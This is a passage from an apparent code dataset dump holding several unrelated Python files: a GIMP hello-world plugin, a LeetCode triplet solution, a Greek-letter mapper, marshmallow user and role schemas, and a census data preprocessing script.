connect()","sub_path":"Fun/Bomba/ect/run/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":4818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"101604167","text":"#!/usr/bin/env python\n\n\"\"\"\n\nGIMP Plugin Tutorial by Akkana Peck\nhttps://www.youtube.com/watch?v=YHXX3KuB23Q&list=PLo0KUpJYWi6XvuvNXN2U-5zJr0PIEVwZc\n\nCreates a new image around a text element with a user specified string\n\nDemonstrates:\n- Registering as a plug-in which creates images (rather than operates on existing)\n- Creating and displaying a new image\n- Creating text elements\n- String, Font, Spinner, and color controls/arguments\n\nMay 24, 2022 (Dave Smith)\n- Formatted to match other plug-in examples\n- Added debug logs\n\n\"\"\"\n\n# Though not preferred, import * is the conventional\n# import method in GIMP plug-ins\nfrom gimpfu import *\n\n# Create debug logs in the temp directory\n# The path may need to be updated for local device\nimport sys\n\nsys.stderr = open(\"c:\\\\temp\\\\gimpstderr_hello.txt\", \"w\")\nsys.stdout = open(\"c:\\\\temp\\\\gimpstdout_hello.txt\", \"w\")\nprint(\"Loaded HELLO_WORLD\")\n\n\ndef hello_world(initstr, font, size, color):\n \"\"\"\n The main function to add a text element to the image\n \"\"\"\n print(\"Entered hello_world\")\n\n print(PIXELS)\n img = gimp.Image(1, 1, RGB)\n gimp.set_foreground(color)\n layer = pdb.gimp_text_fontname(\n img, None, 0, 0, initstr, 10, True, size, PIXELS, font\n )\n img.resize(layer.width, layer.height, 0, 0)\n gimp.Display(img)\n\n\nregister(\n \"python_fu_hello_world\",\n \"Hello world image\",\n \"Creates an image with user specified text.\",\n \"Akkana Peck\",\n \"Akkana Peck\",\n \"2010\",\n \"Hello world...\", # /File/PluginName\n \"\", # type of image it works on (*, RGB, RGB*, RGBA, GRAY etc...)\n [\n # basic parameters are: (UI_ELEMENT, \"variable\", \"label\", Default)\n (PF_STRING, \"string\", \"String\", \"Hello, world!\"),\n (PF_FONT, \"font\", \"Font face\", \"Sans\"),\n (PF_SPINNER, \"size\", \"Font size\", 50, (1, 3000, 1)),\n (PF_COLOR, \"color\", \"Text color\", (1.0, 0.0, 0.0)),\n ],\n [],\n hello_world,\n menu=\"/File/Create\",\n) #\n\nmain()\n","sub_path":"GIMP/_plugins/tutorial_1_1 - Hello World.py","file_name":"tutorial_1_1 - Hello World.py","file_ext":"py","file_size_in_byte":1967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"308091400","text":"import string\nimport random\n\n\ndef getUnicPart():\n try:\n getUnicPart.a += 1\n except AttributeError:\n getUnicPart.a = 0\n return getUnicPart.a\n\n\ndef id_generator(size=6, chars=string.ascii_uppercase + string.digits):\n return ''.join(random.choice(chars) for _ in range(size))\n\n\ndef getID():\n newID = str(getUnicPart()) + str(id_generator(7))\n return newID\n\n\nif __name__ == \"__main__\":\n for i in range(10):\n getID()\n","sub_path":"simcord_study/ForRedis/src/Generate/MakeID.py","file_name":"MakeID.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"220907420","text":"\n\nclass Point:\n def __init__(self, x, y):\n if not isinstance(x, float):\n raise Exception(\"x not a number\")\n if not isinstance(y, float):\n raise Exception(\"y not a number\")\n self.x = x\n self.y = y\n\n def __eq__(self, other):\n if self.x == other.x and self.y == other.y:\n return True\n return False\n\n\nclass PairOfClosesPoints:\n def __init__(self):\n self.pt1 = None\n self.pt2 = None\n self.distance = float(\"inf\")","sub_path":"lab2/geometry.py","file_name":"geometry.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"231914602","text":"'''\nA triplet is an array of three integers. You are given a 2D integer array triplets, where triplets[i] = [ai, bi, ci] describes the ith triplet. You are also given an integer array target = [x, y, z] that describes the triplet you want to obtain.\n\nTo obtain target, you may apply the following operation on triplets any number of times (possibly zero):\n\nChoose two indices (0-indexed) i and j (i != j) and update triplets[j] to become [max(ai, aj), max(bi, bj), max(ci, cj)].\nFor example, if triplets[i] = [2, 5, 3] and triplets[j] = [1, 7, 5], triplets[j] will be updated to [max(2, 1), max(5, 7), max(3, 5)] = [2, 7, 5].\nReturn true if it is possible to obtain the target triplet [x, y, z] as an element of triplets, or false otherwise.\n\n\n\nExample 1:\n\nInput: triplets = [[2,5,3],[1,8,4],[1,7,5]], target = [2,7,5]\nOutput: true\nExplanation: Perform the following operations:\n- Choose the first and last triplets [[2,5,3],[1,8,4],[1,7,5]]. Update the last triplet to be [max(2,1), max(5,7), max(3,5)] = [2,7,5]. triplets = [[2,5,3],[1,8,4],[2,7,5]]\nThe target triplet [2,7,5] is now an element of triplets.\nExample 2:\n\nInput: triplets = [[3,4,5],[4,5,6]], target = [3,2,5]\nOutput: false\nExplanation: It is impossible to have [3,2,5] as an element because there is no 2 in any of the triplets.\nExample 3:\n\nInput: triplets = [[2,5,3],[2,3,4],[1,2,5],[5,2,3]], target = [5,5,5]\nOutput: true\nExplanation: Perform the following operations:\n- Choose the first and third triplets [[2,5,3],[2,3,4],[1,2,5],[5,2,3]]. Update the third triplet to be [max(2,1), max(5,2), max(3,5)] = [2,5,5]. triplets = [[2,5,3],[2,3,4],[2,5,5],[5,2,3]].\n- Choose the third and fourth triplets [[2,5,3],[2,3,4],[2,5,5],[5,2,3]]. Update the fourth triplet to be [max(2,5), max(5,2), max(5,3)] = [5,5,5]. triplets = [[2,5,3],[2,3,4],[2,5,5],[5,5,5]].\nThe target triplet [5,5,5] is now an element of triplets.\n\n\nConstraints:\n\n1 <= triplets.length <= 105\ntriplets[i].length == target.length == 3\n1 <= ai, bi, ci, x, y, z <= 1000\n'''\nimport unittest\n\nfrom typing import *\n\nclass Solution:\n def mergeTriplets(self, triplets: List[List[int]], target: List[int]) -> bool:\n first = set(i for i in range(len(triplets)) if triplets[i][0] > target[0])\n if not any(triplets[i][0] == target[0] for i in range(len(triplets))):\n return False\n second = set(i for i in range(len(triplets)) if triplets[i][1] > target[1])\n if not any(triplets[i][1] == target[1] for i in range(len(triplets))):\n return False\n third = set(i for i in range(len(triplets)) if triplets[i][2] > target[2])\n if not any(triplets[i][2] == target[2] for i in range(len(triplets))):\n return False\n\n allow = first | second | third\n res = [0, 0, 0]\n for i in range(len(triplets)):\n if i not in allow:\n res = [max(res[0], triplets[i][0]), max(res[1], triplets[i][1]), max(res[2], triplets[i][2])]\n return res == target\n\nclass TestSolution(unittest.TestCase):\n\n def test_case(self):\n examples = (\n (([[2,5,3],[2,3,4],[1,2,5],[5,2,3]],[5,5,5]),True),\n )\n for first, second in examples:\n self.assert_function(first, second)\n\n def assert_function(self, first, second):\n self.assertEqual(Solution().mergeTriplets(*first), second,\n msg=\"first: {}; second: {}\".format(first, second))\n\n\nunittest.main()\n","sub_path":"Leetcode/1899. Merge Triplets to Form Target Triplet.py","file_name":"1899. Merge Triplets to Form Target Triplet.py","file_ext":"py","file_size_in_byte":3433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"234525669","text":"import re\n\nmappings = \"\"\"\nΑ\tα\talpha\nΒ\tβ\tbeta\nΓ\tγ\tgamma\nΔ\tδ\tdelta\nΕ\tε\tepsilon\nΖ\tζ\tzeta\nΗ\tη\teta\nΘ\tθ\ttheta\nΙ\tι\tiota\nΚ\tκ\tkappa\nΛ\tλ\tlambda\nΜ\tμ\tmu\nΝ\tν\tnu\nΞ\tξ\txi\nΟ\tο\tomicron\nΠ\tπ\tpi\nΡ\tρ\trho\nΣ\tσ\tsigma\nΤ\tτ\ttau\nΥ\tυ\tupsilon\nΦ\tφ\tphi\nΧ\tχ\tchi\nΨ\tψ\tpsi\nΩ\tω\tomega\n\"\"\".splitlines()\n\nalphabet = {}\n\nfor line in mappings:\n if not line: continue\n Gr, gr, english = line.split()\n if english == 'theta': \n en, En = 'th', 'Th'\n elif english == 'psi': \n en, En = 'ps', 'Ps'\n elif english == 'phi':\n en, En = 'f', 'F'\n else: \n en = english[0]\n En = en.upper()\n alphabet[Gr] = english[0].upper() + english[1:]\n alphabet[gr] = english\n alphabet[En] = Gr\n alphabet[en] = gr\n\n\ndef gr_to_tex(letter):\n return '\\\\' + alphabet[letter]\n\n\ndef escape_to_greek(s):\n return re.sub(r'\\\\([Tt]h|[Pp]s|[a-zA-Z])', lambda m: alphabet[m[1]], s)\n\n\nif __name__ == \"__main__\":\n print(escape_to_greek(r'\\a \\bXy\\c1 \\D3\\s\\t\\u \\t\\theta\\Psi'))\n print(gr_to_tex(escape_to_greek(r'\\th')))\n","sub_path":"utils/greek.py","file_name":"greek.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"579975144","text":"class MemberCashBackDayPO():\n def __init__(self, cid=None, cashBackId=None, memberId=None, memberAccount=None, agentId=None, agentAccount=None,\n platInfoId=None, levelId=None, validBetAmount=None, payoff=None, cashBackAmount=None, pdate=None,\n status=None, createUser=None, createTime=None, modifyTime=None, remark=None, procStatus=None,\n balance=None, lotteryId=None):\n self.cid = cid\n self.cashBackId = cashBackId\n self.memberId = memberId\n self.memberAccount = memberAccount\n self.agentId = agentId\n self.agentAccount = agentAccount\n self.platInfoId = platInfoId\n self.levelId = levelId\n self.validBetAmount = validBetAmount\n self.payoff = payoff\n self.cashBackAmount = cashBackAmount\n self.pdate = pdate\n self.status = status\n self.createUser = createUser\n self.createTime = createTime\n self.modifyTime = modifyTime\n self.remark = remark\n self.procStatus = procStatus\n self.balance = balance\n self.lotteryId = lotteryId\n\n\nclass MemberTradePO():\n def __init__(self, id=None, memberId=None, memberName=None, agentId=None, agentName=None, levelId=None,\n levelName=None, platInfoId=None, orderId=None, orderNo=None,\n orderParentNo=None, tradeAmount=None, balance=None, remark=None, cashRemark=None,\n merchantName=None, source=None, tradeType=None, actionType=None, dealType=None, flowType=None,\n chargeType=None,\n pdate=None, state=0, createTime=None, updateTime=None, times=None, total=None, sumAmount=None,\n startTime=None, endTime=None):\n self.id = id\n self.memberId = memberId\n self.memberName = memberName\n self.agentId = agentId\n self.agentName = agentName\n self.levelId = levelId\n self.levelName = levelName\n self.platInfoId = platInfoId\n self.orderId = orderId\n self.orderNo = orderNo\n self.orderParentNo = orderParentNo\n self.tradeAmount = tradeAmount\n self.balance = balance\n self.remark = remark\n self.cashRemark = cashRemark\n self.merchantName = merchantName\n self.source = source\n self.tradeType = tradeType\n self.actionType = actionType\n self.dealType = dealType\n self.flowType = flowType\n self.chargeType = chargeType\n self.pdate = pdate\n self.state = state\n self.createTime = createTime\n self.updateTime = updateTime\n self.times = times\n self.total = total\n self.sumAmount = sumAmount\n self.startTime = startTime\n self.endTime = endTime\n\n\n# 人工取款\nclass SystemDrawCondition():\n def __init__(self, ipAddr=None,\n memberId=None,\n memberName=None,\n agentId=None,\n agentName=None,\n levelId=None,\n levelName=None,\n actionType=None,\n drawAmount=None,\n drawRemark=None):\n self.ipAddr = ipAddr\n self.memberId = memberId\n self.memberName = memberName\n self.agentId = agentId\n self.agentName = agentName\n self.levelId = levelId\n self.levelName = levelName\n self.actionType = actionType\n self.drawAmount = drawAmount\n self.drawRemark = drawRemark\n","sub_path":"payment/po/member_cash_back_day.py","file_name":"member_cash_back_day.py","file_ext":"py","file_size_in_byte":3481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"172548149","text":"from marshmallow import fields as ma_fields\nfrom marshmallow import RAISE\nfrom marshmallow_sqlalchemy import field_for\nfrom prettytable import PrettyTable\nfrom opsy.auth.models import User, UserSetting, Role, Permission\nfrom opsy.flask_extensions import ma\nfrom opsy.schema import BaseSchema\n\n###############################################################################\n# Non-sqlalchemy schemas\n###############################################################################\n\n\nclass UserLoginSchema(BaseSchema):\n\n user_name = ma_fields.String(load_only=True, required=True)\n password = ma_fields.String(load_only=True, required=True)\n remember_me = ma_fields.Boolean(load_only=True, default=False,\n missing=False)\n # force_renew = ma_fields.Boolean(load_only=True, default=False,\n # missing=False)\n\n\nclass PermissionSchema(BaseSchema):\n class Meta:\n fields = ('endpoint', 'method', 'permission_needed')\n ordered = True\n unknown = RAISE\n\n endpoint = ma_fields.String()\n method = ma_fields.String()\n permission_needed = ma_fields.String()\n\n###############################################################################\n# Sqlalchemy schemas\n###############################################################################\n\n\nclass UserSchema(BaseSchema):\n\n class Meta:\n model = User\n fields = ('id', 'name', 'full_name', 'email', 'enabled', 'created_at',\n 'updated_at', 'settings', 'roles', 'permissions')\n ordered = True\n unknown = RAISE\n\n def pt_dumps(self, obj, many=None):\n \"\"\"Returns a prettytable representation of the data.\"\"\"\n many = self.many if many is None else bool(many)\n data = self.dump(obj, many=many)\n if many:\n columns = []\n for attr_name, field_obj in self.fields.items():\n if getattr(field_obj, 'load_only', False):\n continue\n if field_obj.data_key or attr_name == 'settings':\n continue\n columns.append(field_obj.data_key or attr_name)\n table = PrettyTable(columns, align='l')\n for entity in data:\n table.add_row([entity.get(x) for x in columns])\n return_data = str(table)\n else:\n user_table = PrettyTable(['Property', 'Value'], align='l')\n settings = None\n for key, value in data.items():\n if key == 'settings':\n settings = value\n continue\n user_table.add_row([key, value])\n return_data = f'{user_table}\\n\\nSettings:'\n try:\n columns = settings[0].keys()\n settings_table = PrettyTable(columns, align='l')\n for setting in settings:\n settings_table.add_row(setting.values())\n return_data = f'{return_data}\\n{settings_table}'\n except IndexError:\n return_data = f'{return_data} No user settings found.'\n return return_data\n\n id = field_for(User, 'id', dump_only=True)\n name = field_for(User, 'name', required=True)\n email = field_for(\n User, 'email', field_class=ma.Email) # pylint: disable=no-member\n created_at = field_for(User, 'created_at', dump_only=True)\n updated_at = field_for(User, 'updated_at', dump_only=True)\n\n settings = ma_fields.Nested(\n 'UserSettingSchema', many=True, dump_only=True)\n permissions = ma_fields.Pluck(\n 'RolePermissionSchema', 'name', many=True, dump_only=True)\n roles = ma_fields.Pluck(\n 'RoleSchema', 'name', many=True, dump_only=True)\n\n\nclass UserTokenSchema(BaseSchema):\n\n class Meta:\n model = User\n fields = ('id', 'name', 'session_token', 'session_token_expires_at')\n ordered = True\n unknown = RAISE\n\n id = field_for(User, 'id', data_key='user_id', dump_only=True)\n name = field_for(User, 'name', data_key='user_name', required=True)\n password = ma_fields.String(required=True, load_only=True)\n remember_me = ma_fields.Boolean(load_only=True)\n force_renew = ma_fields.Boolean(load_only=True)\n session_token = field_for(\n User, 'session_token', data_key='token', dump_only=True)\n session_token_expires_at = field_for(\n User, 'session_token_expires_at', data_key='expires_at',\n dump_only=True)\n submit = ma_fields.String(load_only=True) # submit button on login\n\n\nclass UserSettingSchema(BaseSchema):\n\n class Meta:\n model = UserSetting\n fields = ('id', 'user_name', 'key', 'value', 'created_at',\n 'updated_at')\n ordered = True\n unknown = RAISE\n\n id = field_for(UserSetting, 'id', dump_only=True)\n key = field_for(UserSetting, 'key', required=True)\n value = field_for(UserSetting, 'value', required=True)\n created_at = field_for(UserSetting, 'created_at', dump_only=True)\n updated_at = field_for(UserSetting, 'updated_at', dump_only=True)\n\n user_name = ma_fields.Pluck(\n 'UserSchema', 'name', dump_only=True)\n\n\nclass RoleSchema(BaseSchema):\n\n class Meta:\n model = Role\n fields = ('id', 'name', 'ldap_group', 'description', 'created_at',\n 'updated_at', 'permissions', 'users')\n ordered = True\n unknown = RAISE\n\n id = field_for(Role, 'id', dump_only=True)\n name = field_for(Role, 'name', required=True)\n created_at = field_for(Role, 'created_at', dump_only=True)\n updated_at = field_for(Role, 'updated_at', dump_only=True)\n\n permissions = ma_fields.Pluck(\n 'RolePermissionSchema', 'name', many=True, dump_only=True)\n users = ma_fields.Pluck(\n 'UserSchema', 'name', many=True, dump_only=True)\n\n\nclass RolePermissionSchema(BaseSchema):\n\n class Meta:\n model = Permission\n fields = ('id', 'role', 'name', 'created_at', 'updated_at')\n ordered = True\n\n id = field_for(Permission, 'id', dump_only=True)\n name = field_for(Permission, 'name', required=True)\n created_at = field_for(Permission, 'created_at', dump_only=True)\n updated_at = field_for(Permission, 'updated_at', dump_only=True)\n\n role = ma.Nested( # pylint: disable=no-member\n 'RoleSchema', dump_only=True, only=['id', 'name'])\n","sub_path":"opsy/auth/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":6347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"251544969","text":"#Account for aberrant data (missing and outlier values). x\n#Normalize numeric values (at least 1 column). x\n#Bin categorical variables (at least 1 column). x\n#Construct new categorical variables. x\n#Remove obsolete columns. x\n\n# Import the necessary modules\nimport pandas as pd # for handling data\nimport requests # for pulling pages from the internet\nfrom bs4 import BeautifulSoup # for scraping and processing pages\nimport numpy as np # for statistical calculations\nfrom pandas.plotting import scatter_matrix # for scatter matrices\nfrom sklearn.preprocessing import StandardScaler # For performing z-normalizations\n\n# Read the data from the website into a Pandas DataFrame.\ndf = pd.read_csv(\"https://archive.ics.uci.edu/ml/machine-learning-databases/adult/adult.data\") \n\n# Pull the page with the column names and metadata.\ncols_url = requests.get(\"https://archive.ics.uci.edu/ml/machine-learning-databases/adult/adult.names\")\n\n# Use BS4 to split the page into a list of strings\nsoup = BeautifulSoup(cols_url.content, \"lxml\").text.split('\\n')\n\n# Inspecting the HTML of the page reveals the headers are in dict format on lines 96-110 \n# Pull the lines with column strings from the HTML into a list.\ncol_strings = soup[96:110]\n\n# Create function to the lines and rebuild them into a dictionary with column names and possible values.\ndef strings_to_dicts(s_list):\n col_dict = {}\n for item in s_list:\n entry = item.split(':')\n item = entry[0]\n key = entry[1]\n col_dict[item] = key\n return col_dict\n\n# Run html stripping function.\ncolsd = strings_to_dicts(col_strings)\n\n# Extract column names and convert to list format.\ncols = list(colsd.keys())\n\n# Put together missing column names.\ncols = cols + ['income_cat']\n\n# Provide the column names for the DataFrame using the column list.\ndf.columns = cols\n\n# Remove whitespace everywhere in df.\ndef remove_whitespace(df):\n \"\"\"Remove all whitespace from all cells and columns in the DataFrame.\"\"\"\n df_obj = df.select_dtypes(['object'])\n df[df_obj.columns] = df_obj.apply(lambda x: x.str.strip())\n return df\n\ndf = remove_whitespace(df)\n\n# Convert DataFrame to json.\noutfile = df.to_json(path_or_buf=None, orient='records', index=True)\n\n# Save the raw dataset to disk.\nwith open('adult_raw.json', 'w') as f:\n f.write(outfile)\n \n \n# Load dataset from disk into DataFrame.\ndf = pd.read_json('adult_raw.json', orient='columns'\n 'records', convert_axes=True, convert_dates=True, keep_default_dates=True,\n numpy=False, precise_float=False, date_unit=None, encoding=None)\n\n# Define function to get information from the DataFrame.\ndef df_info(df, dv = None):\n \"\"\"Automatically combine dataset information into one dataframe. Use both pandas and numpy methods of getting\n max and min to help catch bad cell values.\"\"\"\n\n # Create empty DataFrame for info to go in.\n info= pd.DataFrame()\n \n # Insert the datatypes.\n info['dtype'] = df.dtypes\n\n # Compute number of rows with one or more fields mising\n missing_rows_ct = df.shape[0] - df.dropna().shape[0]\n \n # Count non-null values in each column\n info['#values'] = df.count()\n \n # Count the null values and and insert them.\n info['is_null'] = df.isnull().sum()\n \n # Caclulate the percentage of the field is missing.\n info['pct_null'] = info['is_null'] / len(df)\n \n # Proportion of total rows missing\n info['pct_null_rows'] = info['is_null'] / missing_rows_ct\n \n # Count the duplicates and insert them.\n dupcount = df.duplicated().sum()\n \n # Run describe function and then transpose the values.\n stats = df.describe().transpose()\n \n # Transpose the stats DataFrame and then join it with the info DataFrame.\n info = info.join(stats,how='outer',rsuffix='_np')\n \n # Create blank dictionary for categorical column information.\n cat_info_dict = {}\n\n # For each column in the dataframe, check if datatype is object. If it is,\n # get the unique values, count them, and store them in the dictionary.\n for col in df:\n if df[col].dtype == 'object':\n column_items = df[col].unique()\n cat_info_dict.update({col : {'unique_count': len(df[col].unique()),\n 'unique_items': column_items}})\n else:\n pass\n \n # Create DataFrame from dictionary.\n cat_df = pd.DataFrame.from_dict(cat_info_dict, orient= 'index')\n \n # Merge DataFrame with categorical information with main DataFrame.\n info = info.join(cat_df,how='outer')\n \n # Drop useless count column\n info = info.drop(['count'], axis=1)\n \n # Print the dataset information.\n print('DATASET INFORMATION:')\n print('{0} rows x {1} columns'.format(len(df),len(df.columns)))\n print('--> {0} rows have missing values'.format(missing_rows_ct))\n print('--> {0} rows are duplicates'.format(dupcount))\n \n # If a dependent variable is provided, provide measurements against that variable.\n if dv != None:\n # If the dv is categorical, get percentages matching each category.\n if df[dv].dtype == 'object':\n \n print('--> Dependent Variable Values:')\n \n # get count of unique values in dependent variable column\n cat_list = df[dv].unique()\n \n # Get count of the number of unique items.\n unique_items_count = len(cat_list)\n\n # Calculate prpoportion for each unique dependent variable value.\n for i in range(0, unique_items_count):\n # Use i to pull each item from list of items.\n category = cat_list[i]\n \n # Get number of items that match that value of the dependent variable\n category_count = len(df[(df[dv] == category)])\n \n # For each category the percent of values where the column value matches that category.\n category_prop = category_count / len(df)\n \n print(' {0} = {1} : {2}'.format(dv, category, category_prop))\n \n # I will add code for numerical dependent variables later if the need arises.\n else:\n pass\n\n return info\n\n# fnlwgt are weights assigned by census staffers and we don't need them for the current task, so lets get rid of them.\ndf = df.drop(['fnlwgt'],axis=1)\n\n# education-num is NOT referring to number of years of schooling - it is just a number code for education column.\n# Since the education column already has these values decoded, let's drop the education-num column.\ndf = df.drop(['education-num'], axis=1)\n\n# All of the data types that should be numeric appear to be numeric. \n\ndf_info(df)\n\n# All of the data types that should be numeric appear to be numeric. \n# Looks like some of the string fields have bad values in them.\n\n# Since ' ?' is being used as a placeholder, let's remove entries with ?s in them.\n# Thank you stack overflow for helping with me with this line (see citation at the bottom of script)\ndf = df[(df != '?').all(axis=1)]\n\n# See what dataset looks like with question marks removed.\ndf_info(df)\n\n# Now lets look for outliers. Let's look at the scatter matrix first to get a sense of the big picture.\nscatter_matrix(df,figsize= (10,10))\n\n# Education-num, and hours per week both look normally distributed. There are a few outliers skewing the age distribution that may also\n# be concealing a normal distrubtion. Lets remove them and see what happens.\n\ndef replace_outliers(df, field, placeholder='median'):\n \"\"\"Remove the outliers from a coulumn in a dataframe, using the instructions provided\n in the dictionary. \n * Note that the data atrophy that can add up if you use this function multiple times.\"\"\"\n\n # Start values replaced counter.\n replaced_count = 0\n \n # Get initial length of datset before processing.\n initial_length = len(df)\n\n # Extract the numeric field from the dataframe, getting the column name from the dict.\n series = df[field]\n \n # Get upper limit by adding the mean + 2 standard deviations.\n upper_limit = np.mean(series) + 2*np.std(series)\n\n # Get the lower limit by subtracting two standard deviations from the mean.\n lower_limit = np.mean(series) - 2*np.std(series)\n \n # Flag entries with value above upper_limit and count them.\n high_outliers = df.loc[:, field] > upper_limit\n \n # Flag low outliers with values below lower_limit and count them.\n low_outliers = df.loc[:, field] < lower_limit\n \n # Valid entries is the complement of outliers\n valid_entries = ~(high_outliers | low_outliers)\n \n # If the user specifies to use the median, calculate the placeholder value \n # from the median.\n if placeholder == 'median':\n repl = np.median(series)\n \n # If the user specifies to use the mean, use the valid entries to calculate\n # the mean for the placeholder.\n if placeholder == 'mean':\n repl = np.mean(df.loc[valid_entries, field])\n\n # Replace both high and low outliers with placeholder value.\n replaced_count += df.loc[high_outliers, field].count()\n df.loc[high_outliers, field] = repl\n \n replaced_count += df.loc[low_outliers, field].count()\n df.loc[low_outliers, field] = repl \n \n replaced_portion = replaced_count/initial_length\n print('{0} outliers removed ({1})'.format(replaced_count, replaced_portion))\n \n # Return the DataFrame with the outliers removed.\n return df\n\n# Run function to remove outliers from selected fields.\ndf = replace_outliers(df, 'age')\n\n# Now that the outliers are removed from the age column, the age column looks \n# normally distributed.\n# Let's make a z-score column for the age attribute.\nages = df['age']\n\n# I'm going to leave the old column in the dataset so I can compare the effects\n# on the ml algorhythums later.\nages_reshaped = ages.values.reshape(-1,1)\n\n# Fit z scaler according to values in 'age' column.\nstandardization_scale = StandardScaler().fit(ages_reshaped)\n\n# Transform values according to z-scaler and put them in new column. \ndf['znorm-age'] = standardization_scale.transform(ages_reshaped)\n\ndef bin_numeric(x, bin_count): # data = data array, bounds = boundaries array\n \"\"\"Take an array with the data and an array with the bin boundaries \n and then bin the data according to the boundaries supplied\"\"\"\n \n # Get bounds of data using minimum and maximum values of data and bin count.\n bounds = np.linspace(np.min(x), np.max(x), bin_count + 1) \n \n # Get number of bins\n bounds_count = len(bounds) \n \n # Get length of the array to be binned.\n array_length = len(x)\n \n # Create empty integer array to store the bin numbers (output)\n y = np.empty(array_length, int) \n \n # For each boundary, tag the data within each boundary, iterating until \n # all boundaries are tagged.\n for i in range(1, bounds_count): \n # If the data is greater than the bound of bin i-1 and less than the \n # upper bound of bin i, set the bin to i\n y[(x >= bounds[i-1]) & (x < bounds[i])] = i \n \n # If the value of x is right on the borderline of one of the bounds, \n # bin it in the bound below it.\n y[x == bounds[-1]] = bounds_count - 1 \n\n # Return the array of the bounds correspoding to each value in the array.\n return y\n\n# Pull the data from the column into a variable.\nhours = df['hours-per-week']\nhours_vals = hours.values\n\n# The hours per week range from 0 - 100. Let's bin it into 5 bins.\nx_binned = bin_numeric(hours_vals, 9)\n\n# Store the hours category in a new column in the DataFrame.\ndf['hours_cat'] = x_binned\n\n# Rename categories to reflect approximate boundaries. Note that these \n# boundaries are not exact since the boundaries are not exact integers.\ndf.loc[df.loc[:, \"hours_cat\"] == 1, \"hours_cat\"] = \"0-11\"\ndf.loc[df.loc[:, \"hours_cat\"] == 2, \"hours_cat\"] = \"12-22\"\ndf.loc[df.loc[:, \"hours_cat\"] == 3, \"hours_cat\"] = \"23-34\"\ndf.loc[df.loc[:, \"hours_cat\"] == 4, \"hours_cat\"] = \"34-45\"\ndf.loc[df.loc[:, \"hours_cat\"] == 5, \"hours_cat\"] = \"45-55\"\ndf.loc[df.loc[:, \"hours_cat\"] == 6, \"hours_cat\"] = \"55-66\"\ndf.loc[df.loc[:, \"hours_cat\"] == 7, \"hours_cat\"] = \"66-77\"\ndf.loc[df.loc[:, \"hours_cat\"] == 8, \"hours_cat\"] = \"77-88\"\ndf.loc[df.loc[:, \"hours_cat\"] == 9, \"hours_cat\"] = \"88-100\"\n\n# Looks like some of the string fields have bad values in them.\n# Since ' ?' is being used as a placeholder, let's replace these entries with \n# Nan.\ndf = df.replace('?', np.nan)\n\ninfo = df_info(df, dv = 'income_cat')\nprint(info)\n\n# Judging from the info output, many of the missing fields in workclass are \n# also missing occupation fields.\n# Since I anticipate these fields are going to be very important for the model, \n# let's drop the missing entries in workclass.\ndf = df[pd.notnull(df['occupation'])]\n\n# Looks like removing this field removed all but about 500 the missing entries, \n# which is convenient.\n# Since we have a dense dataset, let's take a closer look at these missing entries.\nmissing = df[pd.isnull(df['native-country'])]\n\n# With an excption of some outliers in the capital-gains and capital-losses \n# attributes, these values appear to be similarly distributed\n# to the population. These account for around 2% of the dataset.\n\n# If I worked at the census, I would ask a domain expert what their sense of \n# who these people might be. Let's say I was told they are mostly Americans.\ndf.loc[df.loc[:, \"native-country\"].isna(), \"native-country\"] = ' United-States'\n\n# Create column categorizing whether indidivual is employed by the government.\ngovt_cats = [\"Federal-gov\", 'Local-gov', 'State-gov']\ndf.loc[df['workclass'].isin(govt_cats), 'is_govt_emp'] = 1\ndf.loc[~df['workclass'].isin(govt_cats), 'is_govt_emp'] = 0\n\n# Create column categorizing whether indidivual is self-employed.\nself_emp_cats = ['Self-emp-not-inc', 'Self-emp-inc']\ndf.loc[df['workclass'].isin(self_emp_cats), 'self_emp'] = 1\ndf.loc[~df['workclass'].isin(self_emp_cats), 'self_emp'] = 0\n\n# Since there are tons of different values for native country, this might slow \n# down the algorhythum, so lets encode the variable into a boolean column for \n# whether the individal is an immigrant.\ndf[\"is-immigrant\"] = (df['native-country'] != \" United-States\").astype(int)\n\n# Let's drop country of origin. Since we have a saved copy we can bring it back \n# later if necessary.\ndf = df.drop(['native-country'],axis=1)\n\n# View the dataset after changes were made.\ninfo = df_info(df, 'income_cat')\nprint(info)\n\n# Select columns to encode with dummies. \n# Format is 'column_name' : drop?\ndummycols = {'sex' : True,\n 'income_cat': True,\n 'hours_cat' : True,\n 'education' : True,\n 'marital-status' : True,\n 'occupation' : True,\n 'race' : True,\n 'relationship' : True,\n 'workclass' : True}\n\ndef make_dummies(df, colinfo):\n \"\"\"Use instructions from user-supplied dictionary to create category dummy \n columns in a dataframe.\"\"\"\n for key, value in colinfo.items():\n \n # Get column name from dict.\n colname = key\n \n # Get boolean instruction on whether to drop obsolete columns from dict.\n drop = value\n \n # Get list of unique items in the selected column. \n unique_items = df[colname].unique()\n \n # Get count of the number of unique items.\n unique_items_count = len(df[colname].unique())\n \n # For all but 1 of the unique items, \n for i in range(1, unique_items_count):\n # Use i to pull each item from list of items.\n item = unique_items[i]\n \n # Remove spaces from item string so that column name is neater.\n item.strip()\n \n # Generate column name from item name and build column with boolean value.\n df.loc[:, \"is_{0}\".format(item)] = (df.loc[:, colname] == item).astype(int)\n \n # If user wants to drop the obsolete column, drop it.\n if drop == True:\n df = df.drop([colname],axis=1)\n \n # If user does not want to drop obsolete column, pass.\n if drop == False:\n pass\n \n # Return modified DataFrame\n return df\n \ndf2 = make_dummies(df, dummycols)\n\n# Let's see what the DataFrame looks like now.\nprint(df2[:5])\n\ninfo2 = df_info(df2)\n\n# Save DataFrame to CSV.\ndf.to_csv('pp_census_data.csv', index=True)\n\nscatter_matrix(df,figsize= 